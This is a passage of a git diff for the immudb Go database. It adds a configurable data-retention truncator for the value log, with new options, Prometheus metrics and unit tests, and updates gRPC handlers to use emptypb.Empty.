new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -2251,7 +2251,7 @@ func _ImmuService_GetDatabaseSettings_Handler(srv interface{}, ctx context.Conte FullMethod: "/immudb.schema.ImmuService/GetDatabaseSettings", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).GetDatabaseSettings(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).GetDatabaseSettings(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2293,7 +2293,7 @@ func _ImmuService_FlushIndex_Handler(srv interface{}, ctx context.Context, dec f } func _ImmuService_CompactIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -2305,7 +2305,7 @@ func _ImmuService_CompactIndex_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CompactIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CompactIndex(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).CompactIndex(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2577,7 +2577,7 @@ func _ImmuService_SQLQuery_Handler(srv interface{}, ctx context.Context, dec fun } func _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -2589,7 +2589,7 @@ func _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec f FullMethod: "/immudb.schema.ImmuService/ListTables", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).ListTables(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).ListTables(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } diff --git a/pkg/database/database.go b/pkg/database/database.go index a395d465ad..abda99ff36 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -33,6 +33,7 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/pkg/util" ) const MaxKeyResolutionLimit = 1 @@ -167,6 +168,11 @@ type db struct { replicaStates map[uuid]*replicaState replicaStatesMutex sync.Mutex + + truncators []Truncator // specifies truncators for multiple appendable logs + quitOnce sync.Once + donec chan struct{} + stopc chan struct{} } // OpenDB Opens an existing Database from disk @@ -190,6 +196,9 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l replicaStates: replicaStates, maxResultSize: MaxKeyScanLimit, mutex: &instrumentedRWMutex{}, + truncators: make([]Truncator, 0), + donec: make(chan struct{}), + stopc: make(chan struct{}), } dbDir := dbi.Path() @@ -244,6 +253,13 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) }() + // add default truncators + dbi.truncators = append(dbi.truncators, newVlogTruncator(dbi)) + + if dbi.isDataRetentionEnabled() { + go dbi.runTruncator() + } + dbi.Logger.Infof("Database '%s' {replica = %v} successfully opened", dbName, op.replica) return dbi, nil @@ -300,7 +316,9 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo replicaStates: replicaStates, maxResultSize: MaxKeyScanLimit, mutex: &instrumentedRWMutex{}, - } + truncators: make([]Truncator, 0), + donec: make(chan struct{}), + stopc: make(chan struct{})} dbDir := filepath.Join(op.GetDBRootPath(), dbName) @@ -353,8 +371,13 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo dbi.sqlEngine.SetMultiDBHandler(multidbHandler) - dbi.Logger.Infof("Database '%s' successfully created {replica = %v}", dbName, op.replica) + // add default truncators + dbi.truncators = append(dbi.truncators, newVlogTruncator(dbi)) + dbi.Logger.Infof("Database '%s' successfully created {replica = %v}", dbName, op.replica) + if dbi.isDataRetentionEnabled() { + go dbi.runTruncator() + } return dbi, nil } @@ -1616,6 +1639,13 @@ func (d *db) Close() (err error) { d.sqlInit.Wait() // Wait for SQL Engine initialization to conclude + if d.isDataRetentionEnabled() { + d.quitOnce.Do(func() { + close(d.stopc) + <-d.donec + }) + } + return d.st.Close() } @@ -1685,3 +1715,93 @@ func logErr(log logger.Logger, formattedMessage string, err error) error { } return err } + +func (d *db) isDataRetentionEnabled() bool { + return d.options.RetentionPeriod > 0 +} + +// truncateToDay truncates the time to the beginning of the day. +func truncateToDay(t time.Time) time.Time { + return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location()) +} + +// getRetentionPeriod returns the timestamp that is used to determine +// which transaction up to which the data may be deleted from the value-log. +func getRetentionPeriod(ts time.Time, retentionPeriod time.Duration) time.Time { + return truncateToDay(ts.Add(-1 * retentionPeriod)) +} + +// runTruncator triggers periodically to truncate multiple appendable logs +func (d *db) runTruncator() { + d.Logger.Infof("starting truncator for db '%s' with retention period '%.2f' and truncation frequency '%.2f'", d.name, d.options.RetentionPeriod.Seconds(), d.options.TruncationFrequency.Seconds()) + for { + select { + case <-d.stopc: + close(d.donec) + return + case <-time.After(d.options.TruncationFrequency): + // The timestamp ts is used to determine which transaction onwards the data + // may be deleted from the value-log. + // + // Subtracting a duration from ts will add a buffer for when transactions are + // considered safe for deletion. + + // Truncate time to the beginning of the day. + ts := getRetentionPeriod(time.Now(), d.options.RetentionPeriod) + d.Logger.Infof("start truncating database '%s' {ts = %v}", d.name, ts) + if err := d.truncate(ts); err != nil { + d.Logger.Errorf("failed to truncate database '%s' {ts = %v}", d.name, err) + } + d.Logger.Infof("finished truncating database '%s' {ts = %v}", d.name, ts) + } + } +} + +// truncate discards an appendable log upto a given offset +// before time ts. First, the transaction is fetched which lies +// before the specified time period, and then the values are +// discarded upto the specified offset. +// +// discard point +// | +// | +// v +// --------+-------+--------+---------- +// | | | +// tn-1:vx tn:vx tn+1:vx +// +func (d *db) truncate(ts time.Time) error { + defer util.HandlePanic(d.Logger) + for _, c := range d.truncators { + // Plan determines the transaction header before time period ts. If a + // transaction is not found, or if an error occurs fetching the transaction, + // then truncation does not run for the specified appendable. + hdr, err := c.Plan(ts) + if err != nil { + if err == store.ErrTxNotFound { + d.Logger.Infof("no transaction found beyond specified truncation timeframe '%s' {err = %v}", d.name, err) + } else { + d.Logger.Errorf("failed to plan truncation for db '%s' {err = %v}", d.name, err) + } + // If no transaction is found, or if an error occurs, then continue + continue + } + + // Truncate discards the appendable log upto the offset + // specified in the transaction hdr + err = c.Truncate(hdr) + if err != nil { + d.Logger.Errorf("failed to truncate db '%s' {err = %v}", d.name, err) + } + } + + return nil +} + +// CopyCatalog creates a copy of the sql catalog and returns a transaction +// that can be used to commit the copy. +func (d *db) CopyCatalog(ctx context.Context) (*store.OngoingTx, error) { + d.mutex.Lock() + defer d.mutex.Unlock() + return d.sqlEngine.CopyCatalog(ctx) +} diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 32b989c48e..a831c3d4fd 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -26,6 +26,7 @@ import ( "os" "path" "path/filepath" + "reflect" "strings" "sync" "sync/atomic" @@ -2166,3 +2167,110 @@ db := makeDb(t) require.NoError(t, err) } */ + +func Test_database_truncate(t *testing.T) { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.MaxIOConcurrency = 1 + + db := makeDbWith(t, "db", options) + + var queryTime time.Time + for i := 2; i <= 20; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + if i == 10 { + queryTime = time.Now() + } + } + + c := newVlogTruncator(db) + hdr, err := c.Plan(queryTime) + require.NoError(t, err) + require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) + + err = db.truncate(queryTime) + require.NoError(t, err) + + for i := hdr.ID; i <= 20; i++ { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.NoError(t, err) + } + } + + for i := hdr.ID - 1; i > 0; i-- { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.Error(t, err) + } + } + +} + +func Test_truncateToDay(t *testing.T) { + type args struct { + t time.Time + } + tests := []struct { + name string + args args + want time.Time + }{ + { + args: args{t: time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC)}, + want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := truncateToDay(tt.args.t); !reflect.DeepEqual(got, tt.want) { + t.Errorf("truncateToDay() = %v, want %v", got, tt.want) + } + }) + } +} + +func Test_getRetentionPeriod(t *testing.T) { + type args struct { + ts time.Time + retentionPeriod time.Duration + } + tests := []struct { + name string + args args + want time.Time + }{ + { + args: args{ + ts: time.Date(2020, 1, 1, 10, 20, 30, 40, time.UTC), + retentionPeriod: 24 * time.Hour, + }, + want: time.Date(2019, 12, 31, 0, 0, 0, 0, time.UTC), + }, + { + args: args{ + ts: time.Date(2020, 1, 2, 10, 20, 30, 40, time.UTC), + retentionPeriod: 24 * time.Hour, + }, + want: time.Date(2020, 1, 1, 0, 0, 0, 0, time.UTC), + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := getRetentionPeriod(tt.args.ts, tt.args.retentionPeriod); !reflect.DeepEqual(got, tt.want) { + t.Errorf("getRetentionPeriod() = %v, want %v", got, tt.want) + } + }) + } +} diff --git a/pkg/database/dboptions.go b/pkg/database/dboptions.go index f6ec50408d..a30e4e725f 100644 --- a/pkg/database/dboptions.go +++ b/pkg/database/dboptions.go @@ -16,11 +16,16 @@ limitations under the License. package database -import "github.com/codenotary/immudb/embedded/store" +import ( + "time" + + "github.com/codenotary/immudb/embedded/store" +) const ( - DefaultDbRootPath = "./data" - DefaultReadTxPoolSize = 128 + DefaultDbRootPath = "./data" + DefaultReadTxPoolSize = 128 + DefaultTruncationFrequency = 12 * time.Hour ) // Options database instance options @@ -36,14 +41,21 @@ type Options struct { corruptionChecker bool readTxPoolSize int + + // TruncationFrequency determines how frequently to truncate data from the database. + TruncationFrequency time.Duration + + // RetentionPeriod determines how long to store data in the database. + RetentionPeriod time.Duration } // DefaultOption Initialise Db Optionts to default values func DefaultOption() *Options { return &Options{ - dbRootPath: DefaultDbRootPath, - storeOpts: store.DefaultOptions(), - readTxPoolSize: DefaultReadTxPoolSize, + dbRootPath: DefaultDbRootPath, + storeOpts: store.DefaultOptions(), + readTxPoolSize: DefaultReadTxPoolSize, + TruncationFrequency: DefaultTruncationFrequency, } } @@ -104,3 +116,13 @@ func (o *Options) WithReadTxPoolSize(txPoolSize int) *Options { func (o *Options) GetTxPoolSize() int { return o.readTxPoolSize } + +func (o *Options) WithTruncationFrequency(c time.Duration) *Options { + o.TruncationFrequency = c + return o +} + +func (o *Options) WithRetentionPeriod(c time.Duration) *Options { + o.RetentionPeriod = c + return o +} diff --git a/pkg/database/dboptions_test.go b/pkg/database/dboptions_test.go index 1b3ff6168f..a80c50c0cd 100644 --- a/pkg/database/dboptions_test.go +++ b/pkg/database/dboptions_test.go @@ -1,12 +1,9 @@ /* Copyright 2022 Codenotary Inc. All rights reserved. - Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 - Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -18,6 +15,7 @@ package database import ( "testing" + "time" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" @@ -39,12 +37,14 @@ func TestDefaultOptions(t *testing.T) { WithCorruptionChecker(true). WithStoreOptions(storeOpts). WithReadTxPoolSize(789). - WithSyncReplication(true) + WithSyncReplication(true). + WithTruncationFrequency(1 * time.Hour) require.Equal(t, op.GetDBRootPath(), rootpath) require.True(t, op.GetCorruptionChecker()) require.Equal(t, op.GetTxPoolSize(), 789) require.True(t, op.syncReplication) + require.Equal(t, op.TruncationFrequency, 1*time.Hour) require.Equal(t, storeOpts, op.storeOpts) } diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go new file mode 100644 index 0000000000..c75d724569 --- /dev/null +++ b/pkg/database/truncator.go @@ -0,0 +1,124 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package database + +import ( + "context" + "time" + + "github.com/codenotary/immudb/embedded/store" + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promauto" +) + +// Truncator provides truncation against an underlying storage +// of appendable data. +type Truncator interface { + // Plan returns the transaction upto which the log can be truncated. + // When resulting transaction before specified time does not exists + // * No transaction header is returned. + // * Returns nil TxHeader, and an error. + Plan(time.Time) (*store.TxHeader, error) + + // Truncate runs truncation against the relevant appendable logs. Must + // be called after result of Plan(). + Truncate(*store.TxHeader) error +} + +func newVlogTruncator(d *db) Truncator { + return &vlogTruncator{ + db: d, + metrics: newTruncatorMetrics(d.name), + } +} + +// vlogTruncator implements Truncator for the value-log appendable +type vlogTruncator struct { + db *db + metrics *truncatorMetrics +} + +// Plan returns the transaction upto which the value log can be truncated. +// When resulting transaction before specified time does not exists +// * No transaction header is returned. +// * Returns nil TxHeader, and an error. +func (v *vlogTruncator) Plan(ts time.Time) (*store.TxHeader, error) { + return v.db.st.FirstTxSince(ts) +} + +// Truncate runs truncation against the relevant appendable logs upto the specified transaction offset. +func (v *vlogTruncator) Truncate(hdr *store.TxHeader) error { + defer func(t time.Time) { + v.metrics.ran.Inc() + v.metrics.duration.Observe(time.Since(t).Seconds()) + }(time.Now()) + + // copy sql catalogue + tx, err := v.db.CopyCatalog(context.Background()) + if err != nil { + v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}", v.db.name, err, hdr.ID) + return err + } + defer tx.Cancel() + + // setting the metadata to record the transaction upto which the log was truncated + tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(hdr.ID)) + + // commit catalogue as a new transaction + _, err = tx.Commit(context.Background()) + if err != nil { + v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}", v.db.name, err, hdr.ID) + return err + } + + // truncate upto hdr.ID + err = v.db.st.TruncateUptoTx(hdr.ID) + if err != nil { + v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=truncate_upto}", v.db.name, err, hdr.ID) + } + + return err +} + +type truncatorMetrics struct { + ran prometheus.Counter + duration prometheus.Observer +} + +func newTruncatorMetrics(db string) *truncatorMetrics { + reg := prometheus.NewRegistry() + + m := &truncatorMetrics{} + m.ran = promauto.With(reg).NewCounterVec( + prometheus.CounterOpts{ + Name: "immudb_truncation_total", + Help: "Total number of truncation that were executed for the database.", + }, + []string{"db"}, + ).WithLabelValues(db) + + m.duration = promauto.With(reg).NewHistogramVec( + prometheus.HistogramOpts{ + Name: "immudb_truncation_duration_seconds", + Help: "Duration of truncation runs", + Buckets: prometheus.ExponentialBuckets(1, 10.0, 16), + }, + []string{"db"}, + ).WithLabelValues(db) + + return m +} diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go new file mode 100644 index 0000000000..799e2a0f61 --- /dev/null +++ b/pkg/database/truncator_test.go @@ -0,0 +1,413 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package database + +import ( + "context" + "fmt" + "sort" + "sync" + "testing" + "time" + + "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func encodeOffset(offset int64, vLogID byte) int64 { + return int64(vLogID)<<56 | offset +} + +func decodeOffset(offset int64) (byte, int64) { + return byte(offset >> 56), offset & ^(0xff << 55) +} + +func Test_vlogCompactor_Compact(t *testing.T) { + entries := []*store.TxEntry{} + entries = append(entries, + store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(3, 12)), + store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(3, 2)), + store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(2, 1)), + store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(3, 1)), + store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(4, 2)), + store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(1, 3)), + store.NewTxEntry(nil, nil, 0, [32]byte{0}, encodeOffset(1, 2)), + ) + sort.Slice(entries, func(i, j int) bool { + v1, o1 := decodeOffset(entries[i].VOff()) + v2, o2 := decodeOffset(entries[j].VOff()) + if v1 == v2 { + return o1 < o2 + } + return v1 < v2 + }) + + v, off := decodeOffset(entries[0].VOff()) + assert.Equal(t, v, byte(1)) + assert.Equal(t, int(off), 2) + + v, off = decodeOffset(entries[len(entries)-1].VOff()) + assert.Equal(t, v, byte(12)) + assert.Equal(t, int(off), 3) +} + +// Test multiple log with single writer +func Test_vlogCompactor_WithMultipleIO(t *testing.T) { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.MaxIOConcurrency = 5 + options.storeOpts.MaxConcurrency = 500 + + db := makeDbWith(t, "db", options) + + for i := 2; i <= 20; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + } + + deletePointTx := uint64(15) + hdr, err := db.st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + c := newVlogTruncator(db) + require.NoError(t, c.Truncate(hdr)) + + for i := deletePointTx; i <= 20; i++ { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.NoError(t, err) + } + } +} + +// Test single log with single writer +func Test_vlogCompactor_WithSingleIO(t *testing.T) { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.MaxIOConcurrency = 1 + options.storeOpts.MaxConcurrency = 500 + + db := makeDbWith(t, "db", options) + + for i := 2; i <= 10; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + } + + deletePointTx := uint64(5) + hdr, err := db.st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + c := newVlogTruncator(db) + require.NoError(t, c.Truncate(hdr)) + + for i := deletePointTx; i <= 10; i++ { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.NoError(t, err) + } + } + + for i := deletePointTx - 1; i > 0; i-- { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.Error(t, err) + } + } +} + +// Test single log with concurrent writers +func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.MaxIOConcurrency = 1 + options.storeOpts.MaxConcurrency = 500 + + db := makeDbWith(t, "db", options) + + wg := sync.WaitGroup{} + + for i := 1; i <= 3; i++ { + wg.Add(1) + go func(j int) { + defer wg.Done() + for k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", k)), + Value: []byte(fmt.Sprintf("val_%d", k)), + } + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + } + }(i) + } + + wg.Wait() + + deletePointTx := uint64(15) + hdr, err := db.st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + c := newVlogTruncator(db) + require.NoError(t, c.Truncate(hdr)) + + for i := deletePointTx; i <= 30; i++ { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.NoError(t, err) + } + } + + for i := deletePointTx - 1; i > 0; i-- { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := db.st.ReadValue(e) + require.Error(t, err) + } + } +} + +func Test_newTruncatorMetrics(t *testing.T) { + type args struct { + db string + } + tests := []struct { + name string + args args + }{ + { + name: "with default registerer", + args: args{ + db: "foo", + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ti := time.Now() + r := newTruncatorMetrics(tt.args.db) + r.ran.Inc() + r.duration.Observe(time.Since(ti).Seconds()) + }) + } +} + +func Test_vlogCompactor_Plan(t *testing.T) { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(600) + options.storeOpts.MaxIOConcurrency = 1 + + db := makeDbWith(t, "db", options) + + var queryTime time.Time + for i := 2; i <= 20; i++ { + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + if i == 10 { + queryTime = time.Now() + } + } + + c := newVlogTruncator(db) + hdr, err := c.Plan(queryTime) + require.NoError(t, err) + require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) +} + +var sqlPrefix = []byte{2} + +func closeStore(t *testing.T, st *store.ImmuStore) { + err := st.Close() + if !t.Failed() { + // Do not pollute error output if test has already failed + require.NoError(t, err) + } +} + +func setupCommonTest(t *testing.T) *db { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + + db := makeDbWith(t, "db1", options) + return db +} + +func Test_vlogCompactor_with_sql(t *testing.T) { + db := setupCommonTest(t) + + exec := func(t *testing.T, stmt string) { + _, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt}) + require.NoError(t, err) + require.Len(t, ctx, 1) + } + + query := func(t *testing.T, stmt string, expectedRows int) { + res, err := db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) + require.NoError(t, err) + require.NoError(t, err) + require.Len(t, res.Rows, expectedRows) + } + + // create a new table + exec(t, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") + exec(t, "CREATE UNIQUE INDEX ON table1 (name)") + exec(t, "CREATE UNIQUE INDEX ON table1 (name, amount)") + + // insert some data + var deleteUptoTx *schema.TxHeader + for i := 1; i <= 5; i++ { + var err error + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + deleteUptoTx, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + } + + // alter table to add a new column + t.Run("alter table and add data", func(t *testing.T) { + exec(t, "ALTER TABLE table1 ADD COLUMN surname VARCHAR") + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)") + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)") + }) + + // delete txns in the store upto a certain txn + t.Run("succeed truncating sql catalog", func(t *testing.T) { + lastCommitTx := db.st.LastCommittedTxID() + hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) + require.NoError(t, err) + c := newVlogTruncator(db) + require.NoError(t, c.Truncate(hdr)) + + // should add an extra transaction with catalogue + require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) + }) + + t.Run("verify transaction committed post truncation has truncation header", func(t *testing.T) { + lastCommitTx := db.st.LastCommittedTxID() + hdr, err := db.st.ReadTxHeader(lastCommitTx, false) + require.NoError(t, err) + require.NotNil(t, hdr.Metadata) + require.True(t, hdr.Metadata.HasTruncatedTxID()) + + truncatedTxId, err := hdr.Metadata.GetTruncatedTxID() + require.NoError(t, err) + require.Equal(t, deleteUptoTx.Id, truncatedTxId) + }) + + committedTxPostTruncation := make([]*schema.TxHeader, 0, 5) + // add more data in table post truncation + t.Run("succeed in adding data post truncation", func(t *testing.T) { + // add sql data + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('John', 'Doe', 0)") + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Smith', 'John', 0)") + + // add KV data + for i := 6; i <= 10; i++ { + var err error + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + hdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + committedTxPostTruncation = append(committedTxPostTruncation, hdr) + } + }) + + // check if can query the table with new catalogue + t.Run("succeed loading catalog from latest schema", func(t *testing.T) { + query(t, "SELECT * FROM table1", 4) + }) + + t.Run("succeed reading KV data post truncation", func(t *testing.T) { + for _, v := range committedTxPostTruncation { + tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err := db.st.ReadTx(v.Id, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { + val, err := db.st.ReadValue(e) + require.NoError(t, err) + require.NotNil(t, val) + } + } + }) +} + +func Test_vlogCompactor_without_data(t *testing.T) { + rootPath := t.TempDir() + + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.MaxIOConcurrency = 1 + + db := makeDbWith(t, "db", options) + + require.Equal(t, uint64(1), db.st.LastCommittedTxID()) + + deletePointTx := uint64(1) + hdr, err := db.st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + c := newVlogTruncator(db) + require.NoError(t, c.Truncate(hdr)) + + // ensure that a transaction is added for the sql catalog commit + require.Equal(t, uint64(2), db.st.LastCommittedTxID()) + + // verify that the transaction added for the sql catalog commit has the truncation header + hdr, err = db.st.ReadTxHeader(2, false) + require.NoError(t, err) + require.NotNil(t, hdr.Metadata) + require.True(t, hdr.Metadata.HasTruncatedTxID()) + + // verify using the ReadTx API that the transaction added for the sql catalog commit has the truncation header + ptx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) + err = db.st.ReadTx(2, ptx) + require.NoError(t, err) + require.True(t, ptx.Header().Metadata.HasTruncatedTxID()) +} diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 7e8fbfe75f..8cdfb11ca0 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -86,6 +86,9 @@ type dbOptions struct { CreatedAt time.Time `json:"createdAt"` UpdatedBy string `json:"updatedBy"` UpdatedAt time.Time `json:"updatedAt"` + + RetentionPeriod Milliseconds `json:"retentionPeriod"` + TruncationFrequency Milliseconds `json:"truncationFrequency"` // ms } type featureState int @@ -159,7 +162,8 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { Autoload: unspecifiedState, - CreatedAt: time.Now(), + CreatedAt: time.Now(), + TruncationFrequency: Milliseconds(store.DefaultTruncationFrequency.Milliseconds()), } if dbName == s.Options.systemAdminDBName || dbName == s.Options.defaultDBName { @@ -220,7 +224,9 